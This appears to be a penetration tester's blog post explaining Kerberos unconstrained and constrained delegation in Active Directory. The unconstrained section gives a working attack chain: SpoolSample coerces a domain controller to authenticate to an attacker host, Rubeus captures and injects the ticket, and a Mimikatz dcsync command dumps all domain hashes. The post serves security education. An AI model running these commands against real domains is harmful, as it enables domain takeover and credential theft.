Manipulating Kerberos Delegation



Introduction

Kerberos is a fun protocol. It can be used for various footholds and attacks, but this post will look into Kerberos Delegation and how it can be used to leverage a DCSync attack. Hopefully, there will be a bunch of Kerberos oriented posts on the way.

Kerberos Delegation

Delegation can be used when a service requires access to another service. But that service sits on another server. This is where Kerberos can be used to delegate access.

Here is an example from Cyberark:

Let’s say a user requests data via a web server, but the data needed is stored in a database on a different server. It is possible, but not ideal from a security perspective, to grant the web server account direct access to the database. Access to data should be controlled because different users have different privileges. Properly managing access to information requires delegation.

Essentially, delegation is used for just that - the delegation of access between services.

So, with that said; delegation is one of four impersonation types supported in Windows 2000 and later versions. They are:

  1. Anonymous: The client is anonymous to the service. The service can impersonate the client but the impersonation token does not contain any information about the client.
  2. Identify: The service can get the identity of the client and use this information in its own security mechanism, but it cannot impersonate the client.
  3. Impersonate: The service can impersonate the client. If the service is on the same computer as the client process, it can access network resources as the client. If the service is on a remote computer, it can impersonate the client only when accessing resources on the service's computer.
  4. Delegate: The service can impersonate the client not only when it accesses resources on the service's computer but also when it accesses resources on other computers. This level is supported only in Windows 2000 and later versions of the operating system.

Within the delegation impersonation type, there are two levels that can be used to allow a service to impersonate a user:

  1. Kerberos Unconstrained Delegation (Kerberos Delegation)
  2. Kerberos Constrained Delegation (KCD).

Unconstrained Delegation

A trusted server with unconstrained delegation can impersonate any user to any service within the network. Hence, unconstrained. Due to it being unconstrained, its a lucrative track to follow - which makes sense due to its access level.

To my understanding, this is how it works:

A user will request a Service Ticket (ST) from the Domain Controller so that it can talk to a service. Then, the Domain Controller will take the clients Ticket Granting Ticket (TGT), and attach it to the Service Ticket. This will then finally be presented to the service.

When the user accesses the service with the Service Ticket, the users Ticket Granting Ticket will be extracted and saved into LSASS. Due to this, the service will be able to impersonate the user to any service within the network.

In order to exploit unconstrained delegation, SpoolSample will need to be used. SpoolSample is a tool that will trick a Windows hosts to authenticate to other machines via the MS-RPRN RPC interface. If I'm not mistaken, printerbug.py from dirk-jan will do the same thing. I'm not 100% on that.

The trick here is to run SpoolSample to get the Domain Controller to connect back, whilst Rubeus listens and waits for the interaction.

Rubeus self explanation is:

Rubeus is a C# toolset for raw Kerberos interaction and abuses

So, this is how its done:

Attacking Unconstrained Delegation

The syntax for SpoolSample is:

Console.WriteLine("Invalid number of args. Syntax: SpoolSample.exe TARGET CAPTURESERVER");
  1. Argument 1: Target
  2. Argument 2: Attacker

With SpoolSample compiled, run the following command:

SpoolSample_v4.5_x64.exe dc01.domain.local attacker.domain.local

As soon as that is launched, Rubeus needs to be launched:

Rubeus.exe monitor

This will return a Ticket Granting Ticket which can now be reused within Rubeus.exe:

Rubeus.exe ptt /ticket:<Base64 Encoded Ticket Goes here>

Next, run klist to see the ticket. It should look like this:

#0>     Client: DC01$ @ DOMAIN.LOCAL
       Server: krbtgt/DOMAIN.LOCAL @ DOMAIN.LOCAL
       KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
       Ticket Flags 0x60a10000 -> forwardable forwarded renewable pre_authent name_canonicalize
       Start Time: 8/15/2019 13:24:50 (local)
       End Time:   8/15/2019 23:24:47 (local)
       Renew Time: 8/22/2019 13:24:47 (local)
       Session Key Type: AES-256-CTS-HMAC-SHA1-96
       Cache Flags: 0x1 -> PRIMARY
       Kdc Called:

Finally, using Mimikatz to dcsync with the above ticket:

lsadump::dcsync /domain:forest1.local /all

If all goes well, then a bunch of hashes should be here!

Constrained Delegation

The constrained delegation feature was released with Windows 2003 and included the Kerberos protocol extension called S4U. This was Microsoft's fix for Unconstrained Delegation as it was noticed as a risk.

Constrained delegation is used in conjunction with the S4U2Proxy extension. This provides a service that obtains Service Tickets from another service on behalf of a user. The Service Ticket will be obtained only if the Service Principal Name (SPN) is in the msDS-AllowedToDelegateTo (A2D2) field of the requesting service.

The S4U2self extension gives a service permission to obtain a Service Ticket on behalf of a user. The user is identified to the Key Distribution Centers (KDC) using the user's name and realm.

NOTE: A realm is a collection of KDCs with a common set of principals,

Alternatively, the user might be identified based on the user's certificate. The Kerberos ticket-granting service (TGS) exchange request and response messages, KRB_TGS_REQ and KRB_TGS_REP, are used along with one of two new data structures. The new PA-FOR-USER data structure is used when the user is identified to the KDC by the user name and realm name. The other structure, PA-S4U-X509-USER, is used when the user certificate is presented to the KDC to obtain the authorization information. By obtaining a service ticket to itself on behalf of the user, the service receives the user's authorization data in the ticket.

The purpose of Constrained Delegation is to limit access of a delegation machine/account to specific services while still being able to impersonate users. This differs to Unconstrained Delegation because Unconstrained Delegation allows delegation to all services.

To exploit this, an attacker will be looking for a server with protocol transition disabled because this will have delegated users ST tickets. Using this, an attacker can make use of services specified in the ST. Servers with protocol transition enabled will allow the attacker to impersonate any user without access to their credentials.

Conclusion

Thats my understanding of Kerberos Delegation and working with unconstrained delegation to dump credentials. I didn't put a constrained delegation example together because its not something I've had to use on an engagement yet and I want to successfully utilise it before I write about it publicly.

This post is a really good walkthrough and explanation of unconstrained delegation from dirk-jan and it goes into a lot of good detail. Its definitely worthy of further-reading.